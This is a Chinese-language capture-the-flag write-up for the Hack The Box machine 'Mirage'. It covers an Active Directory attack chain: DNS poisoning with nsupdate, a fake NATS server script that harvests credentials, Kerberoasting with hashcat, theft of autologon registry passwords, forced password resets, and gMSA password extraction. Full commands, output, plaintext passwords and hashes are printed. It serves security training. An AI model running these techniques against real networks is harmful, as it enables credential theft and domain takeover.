&lt;pre&gt;&lt;code&gt;cd /tmp/mirage
ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到文件，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Incident_Report_Missing_DNS_Record_nats-svc.pdf
Mirage_Authentication_Hardening_Report.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这些文件立刻引起了我们的注意——事件报告和加固指南通常包含有价值的内部细节，如用户名、服务器主机名、暴露的服务或安全配置错误。
对 Mirage 进行 Kerberos、DNS 投毒和 NATS 利用
在审查通过 NFS 共享找到的 PDF 文件时，有一份文件特别突出
这份文件概述了一项建议：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Disable NTLM&lt;/strong&gt; authentication.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use Kerberos-only&lt;/strong&gt; authentication instead.&lt;/li&gt;
&lt;li&gt;Ensure proper &lt;strong&gt;DNS resolution&lt;/strong&gt; for internal services like nats-svc.mirage.htb.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这非常关键。如果 DNS 中缺少 nats-svc.mirage.htb，并且环境强制使用 Kerberos，我们可以利用 DNS 更新将该服务名重定向到我们的攻击机——诱骗系统认证到我们这里。
在进行下一步之前，我们通过配置 /etc/krb5.conf 确保我们的 Kali 虚拟机已准备好通过 Kerberos 进行通信：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = MIRAGE.HTB


[realms]
    MIRAGE.HTB = {
        kdc = dc01.MIRAGE.HTB
        admin_server = dc01.MIRAGE.HTB
        default_domain = MIRAGE.HTB
    }


[domain_realm]
    .MIRAGE.HTB = MIRAGE.HTB
    MIRAGE.HTB = MIRAGE.HTB

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试DNS 毒化及伪造 NATS 服务
我们被告知 nats-svc.mirage.htb 缺少 DNS 记录。这正是我们的机会。
我们首先创建一个监听在 4222 端口上的假 NATS 服务器——这是 NATS 的默认端口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket


print(&quot;[+] Fake NATS Server listening on 0.0.0.0:4444&quot;)
s = socket.socket()
s.bind((&quot;0.0.0.0&quot;, 4222))
s.listen(5)


while True:
    client, addr = s.accept()
    print(f&quot;[+] Connection from {addr}&quot;)


    client.sendall(b&apos;INFO {&quot;server_id&quot;:&quot;FAKE&quot;,&quot;version&quot;:&quot;2.11.0&quot;,&quot;auth_required&quot;:true}\r\n&apos;)
    data = client.recv(1024)
    print(&quot;[&amp;gt;] Received:&quot;)
    print(data.decode())


    client.close()

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[/tmp/mirage]
└─$ nsupdate
&amp;gt; server 10.10.11.78
&amp;gt; update add nats-svc.mirage.htb 3600 A 10.10.16.42
&amp;gt; send
&amp;gt; quit

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ python3 1.py
[+] Fake NATS Server listening on 0.0.0.0:4444
[+] Connection from (&apos;10.10.11.78&apos;, 56304)
[&amp;gt;] Received:
CONNECT {&quot;verbose&quot;:false,&quot;pedantic&quot;:false,&quot;user&quot;:&quot;Dev_Account_A&quot;,&quot;pass&quot;:&quot;hx5h7F5554fP@1337!&quot;,&quot;tls_required&quot;:false,&quot;name&quot;:&quot;NATS CLI Version 0.2.2&quot;,&quot;lang&quot;:&quot;go&quot;,&quot;version&quot;:&quot;1.41.1&quot;,&quot;protocol&quot;:1,&quot;echo&quot;:true,&quot;headers&quot;:false,&quot;no_responders&quot;:false}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安装 &lt;code&gt;nats&lt;/code&gt; 命令行工具 (natscli)
NATS 的上下文 (Context) 功能非常方便，它允许你&lt;strong&gt;保存一套连接配置（服务器、用户名、密码等）&lt;/strong&gt;，并给它一个友好的名字。这样以后连接时，只需要提供这个名字，而无需重复输入所有凭据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nats context add dev-nats \
  --server nats://dc01.mirage.htb:4222 \
  --user Dev_Account_A \
  --password &apos;hx5h7F5554fP@1337!&apos; \
  --description &quot;Dev access for Mirage HTB&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ nats context add dev-nats \
  --server nats://dc01.mirage.htb:4222 \
  --user Dev_Account_A \
  --password &apos;hx5h7F5554fP@1337!&apos; \
  --description &quot;Dev access for Mirage HTB&quot;
NATS Configuration Context &quot;dev-nats&quot;

  Description: Dev access for Mirage HTB
  Server URLs: nats://dc01.mirage.htb:4222
     Username: Dev_Account_A
     Password: ******************
         Path: /home/kali/.config/nats/context/dev-nats.json

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置好上下文后，我们就可以开始订阅（Subscribe）消息了。在 NATS 中，消息是发布到不同“主题 (Subject)”上的。为了尽可能多地获取信息，我们要订阅所有主题。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ nats --context dev-nats sub &quot;&amp;gt;&quot; --count 10
06:04:48 Subscribing on &amp;gt; 
[#1] Received on &quot;$JS.API.STREAM.INFO.auth_logs&quot; with reply &quot;_INBOX.WTOqiZhYZ72gJRDTXhiTVj.5BfJw4gm&quot;
nil body


[#2] Received on &quot;_INBOX.WTOqiZhYZ72gJRDTXhiTVj.5BfJw4gm&quot;
{&quot;type&quot;:&quot;io.nats.jetstream.api.v1.stream_info_response&quot;,&quot;total&quot;:0,&quot;offset&quot;:0,&quot;limit&quot;:0,&quot;config&quot;:{&quot;name&quot;:&quot;auth_logs&quot;,&quot;subjects&quot;:[&quot;logs.auth&quot;],&quot;retention&quot;:&quot;limits&quot;,&quot;max_consumers&quot;:-1,&quot;max_msgs&quot;:100,&quot;max_bytes&quot;:1048576,&quot;max_age&quot;:0,&quot;max_msgs_per_subject&quot;:-1,&quot;max_msg_size&quot;:-1,&quot;discard&quot;:&quot;new&quot;,&quot;storage&quot;:&quot;file&quot;,&quot;num_replicas&quot;:1,&quot;duplicate_window&quot;:120000000000,&quot;compression&quot;:&quot;none&quot;,&quot;allow_direct&quot;:true,&quot;mirror_direct&quot;:false,&quot;sealed&quot;:false,&quot;deny_delete&quot;:true,&quot;deny_purge&quot;:true,&quot;allow_rollup_hdrs&quot;:false,&quot;consumer_limits&quot;:{},&quot;allow_msg_ttl&quot;:false,&quot;metadata&quot;:{&quot;_nats.level&quot;:&quot;1&quot;,&quot;_nats.req.level&quot;:&quot;0&quot;,&quot;_nats.ver&quot;:&quot;2.11.3&quot;}},&quot;created&quot;:&quot;2025-05-05T07:18:19.6244845Z&quot;,&quot;state&quot;:{&quot;messages&quot;:5,&quot;bytes&quot;:570,&quot;first_seq&quot;:1,&quot;first_ts&quot;:&quot;2025-05-05T07:18:56.6788658Z&quot;,&quot;last_seq&quot;:5,&quot;last_ts&quot;:&quot;2025-05-05T07:19:27.2106658Z&quot;,&quot;num_subjects&quot;:1,&quot;consumer_count&quot;:0},&quot;cluster&quot;:{&quot;leader&quot;:&quot;NDLABALKVASLTJHZKH6UB5GRU3VX6XLBB773WRIZRD5LFGYDYD2LYKPC&quot;},&quot;ts&quot;:&quot;2025-07-25T13:05:01.5271466Z&quot;}


[#3] Received on &quot;$JS.EVENT.ADVISORY.API&quot;
{&quot;type&quot;:&quot;io.nats.jetstream.advisory.v1.api_audit&quot;,&quot;id&quot;:&quot;vkraq7C939A0DmcsnNvtrf&quot;,&quot;timestamp&quot;:&quot;2025-07-25T13:05:01.5271466Z&quot;,&quot;server&quot;:&quot;NDLABALKVASLTJHZKH6UB5GRU3VX6XLBB773WRIZRD5LFGYDYD2LYKPC&quot;,&quot;client&quot;:{&quot;start&quot;:&quot;2025-07-25T06:05:01.5259193-07:00&quot;,&quot;host&quot;:&quot;dead:beef::3d66:5c11:56f:40b0&quot;,&quot;id&quot;:36,&quot;acc&quot;:&quot;dev&quot;,&quot;user&quot;:&quot;Dev_Account_A&quot;,&quot;name&quot;:&quot;NATS CLI Version 0.2.2&quot;,&quot;lang&quot;:&quot;go&quot;,&quot;ver&quot;:&quot;1.41.1&quot;,&quot;rtt&quot;:716600,&quot;server&quot;:&quot;NDLABALKVASLTJHZKH6UB5GRU3VX6XLBB773WRIZRD5LFGYDYD2LYKPC&quot;,&quot;kind&quot;:&quot;Client&quot;,&quot;client_type&quot;:&quot;nats&quot;},&quot;subject&quot;:&quot;$JS.API.STREAM.INFO.auth_logs&quot;,&quot;response&quot;:&quot;{\&quot;type\&quot;:\&quot;io.nats.jetstream.api.v1.stream_info_response\&quot;,\&quot;total\&quot;:0,\&quot;offset\&quot;:0,\&quot;limit\&quot;:0,\&quot;config\&quot;:{\&quot;name\&quot;:\&quot;auth_logs\&quot;,\&quot;subjects\&quot;:[\&quot;logs.auth\&quot;],\&quot;retention\&quot;:\&quot;limits\&quot;,\&quot;max_consumers\&quot;:-1,\&quot;max_msgs\&quot;:100,\&quot;max_bytes\&quot;:1048576,\&quot;max_age\&quot;:0,\&quot;max_msgs_per_subject\&quot;:-1,\&quot;max_msg_size\&quot;:-1,\&quot;discard\&quot;:\&quot;new\&quot;,\&quot;storage\&quot;:\&quot;file\&quot;,\&quot;num_replicas\&quot;:1,\&quot;duplicate_window\&quot;:120000000000,\&quot;compression\&quot;:\&quot;none\&quot;,\&quot;allow_direct\&quot;:true,\&quot;mirror_direct\&quot;:false,\&quot;sealed\&quot;:false,\&quot;deny_delete\&quot;:true,\&quot;deny_purge\&quot;:true,\&quot;allow_rollup_hdrs\&quot;:false,\&quot;consumer_limits\&quot;:{},\&quot;allow_msg_ttl\&quot;:false,\&quot;metadata\&quot;:{\&quot;_nats.level\&quot;:\&quot;1\&quot;,\&quot;_nats.req.level\&quot;:\&quot;0\&quot;,\&quot;_nats.ver\&quot;:\&quot;2.11.3\&quot;}},\&quot;created\&quot;:\&quot;2025-05-05T07:18:19.6244845Z\&quot;,\&quot;state\&quot;:{\&quot;messages\&quot;:5,\&quot;bytes\&quot;:570,\&quot;first_seq\&quot;:1,\&quot;first_ts\&quot;:\&quot;2025-05-05T07:18:56.6788658Z\&quot;,\&quot;last_seq\&quot;:5,\&quot;last_ts\&quot;:\&quot;2025-05-05T07:19:27.2106658Z\&quot;,\&quot;num_subjects\&quot;:1,\&quot;consumer_count\&quot;:0},\&quot;cluster\&quot;:{\&quot;leader\&quot;:\&quot;NDLABALKVASLTJHZKH6UB5GRU3VX6XLBB773WRIZRD5LFGYDYD2LYKPC\&quot;},\&quot;ts\&quot;:\&quot;2025-07-25T13:05:01.5271466Z\&quot;}&quot;}


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们创建一个 &lt;strong&gt;JetStream 使用者&lt;/strong&gt;来转储过去的身份验证日志：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/opt/nats/nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit


──(kali㉿kali)-[~/Desktop]
└─$ nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit
[dev-nats] ? Start policy (all, new, last, subject, 1h, msg sequence) all
[dev-nats] ? Replay policy instant
[dev-nats] ? Filter Stream by subjects (blank for all) logs.auth
[dev-nats] ? Maximum Allowed Deliveries -1
[dev-nats] ? Maximum Acknowledgments Pending 0
[dev-nats] ? Deliver headers only without bodies No
[dev-nats] ? Add a Retry Backoff Policy No
Information for Consumer auth_logs &amp;gt; audit-reader created 2025-07-25 13:12:38

Configuration:

                    Name: audit-reader
               Pull Mode: true
          Filter Subject: logs.auth
          Deliver Policy: All
              Ack Policy: Explicit
                Ack Wait: 30.00s
           Replay Policy: Instant
         Max Ack Pending: 1,000
       Max Waiting Pulls: 512

State:

            Host Version: 2.11.3
      Required API Level: 0 hosted at level 1
  Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
    Acknowledgment Floor: Consumer sequence: 0 Stream sequence: 0
        Outstanding Acks: 0 out of maximum 1,000
    Redelivered Messages: 0
    Unprocessed Messages: 5
           Waiting Pulls: 0 of maximum 512
                                               

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Use the following values:
使用以下值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Start policy&lt;/strong&gt;: all
&lt;strong&gt;启动策略&lt;/strong&gt; ：全部&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Replay policy&lt;/strong&gt;: instant
&lt;strong&gt;重播政策&lt;/strong&gt; ：即时&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filter&lt;/strong&gt;: logs.auth
&lt;strong&gt;筛选器&lt;/strong&gt; ：logs.auth&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now retrieve all messages:
现在检索所有消息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nats --context dev-nats consumer next auth_logs audit-reader --count=999 --ack

┌──(kali㉿kali)-[~/Desktop]
└─$ nats --context dev-nats consumer next auth_logs audit-reader --count=999 --ack
[06:13:00] subj: logs.auth / tries: 1 / cons seq: 1 / str seq: 1 / pending: 4

{&quot;user&quot;:&quot;david.jjackson&quot;,&quot;password&quot;:&quot;pN8kQmn6b86!1234@&quot;,&quot;ip&quot;:&quot;10.10.10.20&quot;}

Acknowledged message

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;确保与 DC 的时间同步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后通过 LDAP 测试捕获的信用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.78 -u david.jjackson -p &apos;pN8kQmn6b86!1234@&apos; -k
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; nxc ldap 10.10.11.78 -u david.jjackson -p &apos;pN8kQmn6b86!1234@&apos; -k --users
2025-07-25 13:55:28.105100 (+0000) -61208.246720 +/- 0.199297 dc01.mirage.htb 10.10.11.78 s1 no-leap
CLOCK: time stepped by -61208.246720
LDAP        10.10.11.78     389    DC01             [*] None (name:DC01) (domain:mirage.htb)
LDAP        10.10.11.78     389    DC01             [+] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ 
LDAP        10.10.11.78     389    DC01             [*] Enumerated 10 domain users: mirage.htb
LDAP        10.10.11.78     389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        10.10.11.78     389    DC01             Administrator                 2025-06-23 21:18:18 0        Built-in account for administering the computer/domain      
LDAP        10.10.11.78     389    DC01             Guest                         &amp;lt;never&amp;gt;             0        Built-in account for guest access to the computer/domain    
LDAP        10.10.11.78     389    DC01             krbtgt                        2025-05-01 07:42:23 0        Key Distribution Center Service Account                     
LDAP        10.10.11.78     389    DC01             Dev_Account_A                 2025-05-27 14:05:12 0                                                                    
LDAP        10.10.11.78     389    DC01             Dev_Account_B                 2025-05-02 08:28:11 1                                                                    
LDAP        10.10.11.78     389    DC01             david.jjackson                2025-05-02 08:29:50 0                                                                    
LDAP        10.10.11.78     389    DC01             javier.mmarshall              2025-07-25 12:52:16 0        Contoso Contractors                                         
LDAP        10.10.11.78     389    DC01             mark.bbond                    2025-06-23 21:18:18 0                                                                    
LDAP        10.10.11.78     389    DC01             nathan.aadam                  2025-06-23 21:18:18 0                                                                    
LDAP        10.10.11.78     389    DC01             svc_mirage                    2025-05-22 20:37:45 0        Old service account migrated by contractors    
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-python -u david.jjackson -p &apos;pN8kQmn6b86!1234@&apos; -k -d mirage.htb -ns 10.10.11.78 -c All --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经过一些用户枚举后，我们确定了一个有效的域用户：david.jjackson。在前面的步骤中，我们使用 Kerberos（-k 标志）获得了有效的 TGT，这使我们能够尝试使用 Impacket 的 GetUserSPNs 工具进行 &lt;strong&gt;Kerberoasting&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-GetUserSPNs &apos;mirage.htb/david.jjackson&apos; -dc-host dc01.mirage.htb -k -request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这会为另一个用户拉取基于&lt;strong&gt;服务主体名称 （SPN）&lt;/strong&gt; 的票证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; impacket-GetUserSPNs &apos;mirage.htb/david.jjackson&apos; -dc-host dc01.mirage.htb -k -request                   
2025-07-25 14:01:31.326927 (+0000) -61208.340130 +/- 0.315698 dc01.mirage.htb 10.10.11.78 s1 no-leap
CLOCK: time stepped by -61208.340130
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[-] CCache file is not found. Skipping...
ServicePrincipalName      Name          MemberOf                                                             PasswordLastSet             LastLogon                   Delegation 
------------------------  ------------  -------------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/exchange.mirage.htb  nathan.aadam  CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb  2025-06-23 21:18:18.584667  2025-07-25 13:57:58.114041             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb/nathan.aadam*$61f5676d7f4a199119138058841bcb89$8b39f47bfaf370ed2d80ef164d05a64b675e36d6b197af699a2334cc50d7e0863b1ffaaf816507d39e75680f7fc6afa475b8c2b1e172ea9d2e33561716b47a82e6e58706475dbc6239b007fdf4f94b9ca8f8c1cf10eae9dc96820f5d6b298b5a46ce1b4d620ed9e548b94a63f7a8cbd9462c438923adc33d4aa6cc91f9e2ebd5379d90d41e9a8f8f25d0b17f5b9713aa906829831f01247145a40ed03099a19c1fe4b18ed32849727c7502250f0ee9d6a12f1f68fe64b1f353a22fb2180b6e9ac415c6b003ee0263d05cee4fe77b43bf6927a7a820d9484250c9fa63bc272f2582921f63287f4a1e487447612fa8188122f75a3fde83d66956a05f2434015cb183a8fee653a29d5146872d0b8b6ef0e9666d9d30ff34c818a5196a3a05b7d28d2db84e87c07b162de108d28d634676df7a68f78f6d8e719ac13a2a2a6630d4314884da3f8c91a22a500eadf4b04dd9ffa43c6a58add81e4f68c727e7589831581c55357daee1eb9ccb855dca0d5a5bfec8e86dfc0428c4255584b1845beeb20486430b37cfa581687af3a44dd5d7efd9dfcf41461e11368a15ad3a0e1c5dcbd3285836e0572842090d2a93f0d1cd773a9a4ae3e26c3e5494195d2143eb31076c6fd133510c360114a2b39993c7c075ff9322b0afdcdcf5b74d273e60391bb59d4dbe2dc41e6c9c93c068b191189e3eb7c8fe4c5bd8a8c3122769660366c89019b537783953b6608e54790320d060fb9ad9dc4551678d2a5044f7703ac9554238816ccd37b5b3d039a4c078879780819c50da7d5bd844ab6e0ad1c5e2921f397255d58f7bbba5d3fb810dc0e1c7208ccd700465d068232927e50417d2e416592f191a8062682daf5bcde15a4023a66653254626cde0c3925743ed70ec23e1d6d122e342c76b38939ef9b418cbc53a06ab7b94b176c2cd66e339b38bd6e71ef10fb360a397469ebc9b5d6d7d513b19c62c385bec836d87cc79cf0381050c5782bfa684c2a2c9880085d381d129a70072aeb53efd2b6014eba78a0c7f64a8da87035bd59ab441881d56485ff27fc9e54c050cd31329a73e29537708bcdb0d025a4bc792a121dbb826120040dc178425a13a8a9be54a93a0ab53a07a21416cca45c9fc18c4f04c67165c736aad7b8fdb705c4a6f8e4913aed90f37b5fd791b1ef70a34544d6fd389de136b4618533e068016e0b0af1ee43e2a9448600ce84e694e21edabe987f02f36157b9bbb0b9ef2cd29e0ba6556f539365cde23b768985189b62e00808eff475b7843a8ec4772ed5cb0f9e41a17ab6740fa90995da9aa23b4c2f143dc8f0efd25508f4f446ed6b88a9a161b2f31e7684be82e17b9bb93d8d660dcf8136d7a395f852a0682c26752e78d6e04595a632ad618e69476920e0c52f93595f4a45eb0bad95216ee34e29f53b819008f15cd8cd43d0b23b857deff4bb7cbe733d1495a9085d5b5bf89e7cd2fdd1237eda719057bc988fbf7567de393c08f465619bcd037baeea54b8dd754b444ba5fe5cddb3c00a8fc4e2d0743c40e80a2cb4b2f5f5e3d62e87f07934171a4fb9eec56544203c5a614

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;该工具还转储了 nathan.aadam 的 &lt;strong&gt;TGS 哈希&lt;/strong&gt; （Kerberos 服务票证），我们保存了该票证以供离线破解。&lt;/p&gt;
&lt;p&gt;基于 SPN 的 TGS 票证的哈希类型为 -m 13100 （Kerberos 5 TGS-REP etype 23） 。我们使用 rockyou.txt 来尝试破解哈希值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt --show
nathan.aadam:3edc#EDC3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;们继续使用 impacket-getTGT 获取 &lt;strong&gt;Kerberos 票证授予票证 （TGT）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getTGT mirage.htb/nathan.aadam:&apos;3edc#EDC3&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[*] Saving ticket in nathan.aadam.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;export KRB5CCNAME=nathan.aadam.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，我们可以使用 &lt;strong&gt;Kerberos（无需密码提示）&lt;/strong&gt; 进行身份验证并生成 WinRM shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; impacket-getTGT mirage.htb/nathan.aadam:&apos;3edc#EDC3&apos; &amp;amp;&amp;amp; export KRB5CCNAME=nathan.aadam.ccache &amp;amp;&amp;amp; evil-winrm -i dc01.mirage.htb -r mirage.htb

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在以 nathan.aadam 的身份获得访问权限后，我们转向使用通过 BloodHound 和 Active Directory 滥用技术收集的数据进行&lt;strong&gt;权限升级&lt;/strong&gt; 。
BloodHound 分析揭示了潜在的攻击路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Nathan.aadam → MemberOf IT_ADMIN
MARK.BBOND (IT_SUPPORT) → ForceChangePassword → JAVIER.MMARSHALL
JAVIER.MMARSHALL → ReadGMSAPassword → MIRAGE-SERVICE$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们的目标：在 &lt;strong&gt;MIRAGE-SERVICE$&lt;/strong&gt; &lt;strong&gt;上****滥用&lt;/strong&gt; &lt;strong&gt;ReadGMSAPassword&lt;/strong&gt; 以最终提升权限。
在 Nathan 的会话中，我们查询了注册表中的自动登录凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We found: 我们发现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DefaultUserName    REG_SZ    mark.bbond  
DefaultPassword    REG_SZ    1dXXXXXXXX
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\nathan.aadam\Documents&amp;gt; reg query &quot;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot;

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DefaultDomainName    REG_SZ    MIRAGE
    DefaultUserName    REG_SZ    mark.bbond
    DisableBackButton    REG_DWORD    0x1
    EnableSIHostIntegration    REG_DWORD    0x1
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    ShellAppRuntime    REG_SZ    ShellAppRuntime.exe
    ShellCritical    REG_DWORD    0x0
    ShellInfrastructure    REG_SZ    sihost.exe
    SiHostCritical    REG_DWORD    0x0
    SiHostReadyTimeOut    REG_DWORD    0x0
    SiHostRestartCountLimit    REG_DWORD    0x0
    SiHostRestartTimeGap    REG_DWORD    0x0
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe,
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    WinStationsDisabled    REG_SZ    0
    scremoveoption    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    LastLogOffEndTimePerfCounter    REG_QWORD    0x6a7ceafc
    ShutdownFlags    REG_DWORD    0x8000022b
    DisableLockWorkstation    REG_DWORD    0x0
    AutoAdminLogon    REG_SZ    1
    AutoLogonSID    REG_SZ    S-1-5-21-2127163471-3824721834-2568365109-1109
    LastUsedUsername    REG_SZ    mark.bbond
    DefaultPassword    REG_SZ    1day@atime

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;mark.bbond:1day@atime
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 bloodyAD，我们利用 Mark 的 ForceChangePassword 来重置 Javier 的凭据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb  &amp;amp;&amp;amp; bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u &apos;mark.bbond&apos; -p &apos;1day@atime&apos; set password JAVIER.MMARSHALL &apos;P4ssw0rd!&apos;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，尝试查询 msDS-ManagedPassword 失败：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;KerberosError: KDC_ERR_CLIENT_REVOKED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户已禁用 — 重新激活 Javier
检查用户状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --kerberos -u &quot;mark.bbond&quot; -p &apos;1day@atime&apos; -d &quot;mirage.htb&quot; --host &quot;dc01.mirage.htb&quot; get object &quot;javier.mmarshall&quot; --attr userAccountControl

┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; bloodyAD --kerberos -u &quot;mark.bbond&quot; -p &apos;1day@atime&apos; -d &quot;mirage.htb&quot; --host &quot;dc01.mirage.htb&quot; get object &quot;javier.mmarshall&quot; --attr userAccountControl
2025-07-25 14:18:17.316026 (+0000) -61208.216114 +/- 0.205427 dc01.mirage.htb 10.10.11.78 s1 no-leap
CLOCK: time stepped by -61208.216114

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Status: 地位：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;OU=Disabled
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Javier’s account re-enabled.
现在，在 Javier 的帐户处于活动状态时，我们提取了 GMSA 密码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb  &amp;amp;&amp;amp; bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u javier.mmarshall -p &apos;P4ssw0rd!&apos; get object &apos;Mirage-Service$&apos; --attr msDS-ManagedPassword
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aaf40f0c7866
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo ntpdate dc01.mirage.htb &amp;amp;&amp;amp; impacket-getTGT mirage.htb/Mirage-Service\$ -hashes :305806d84f7c1be93a07aaf40f0c7866
&lt;/code&gt;&lt;/pre&gt;
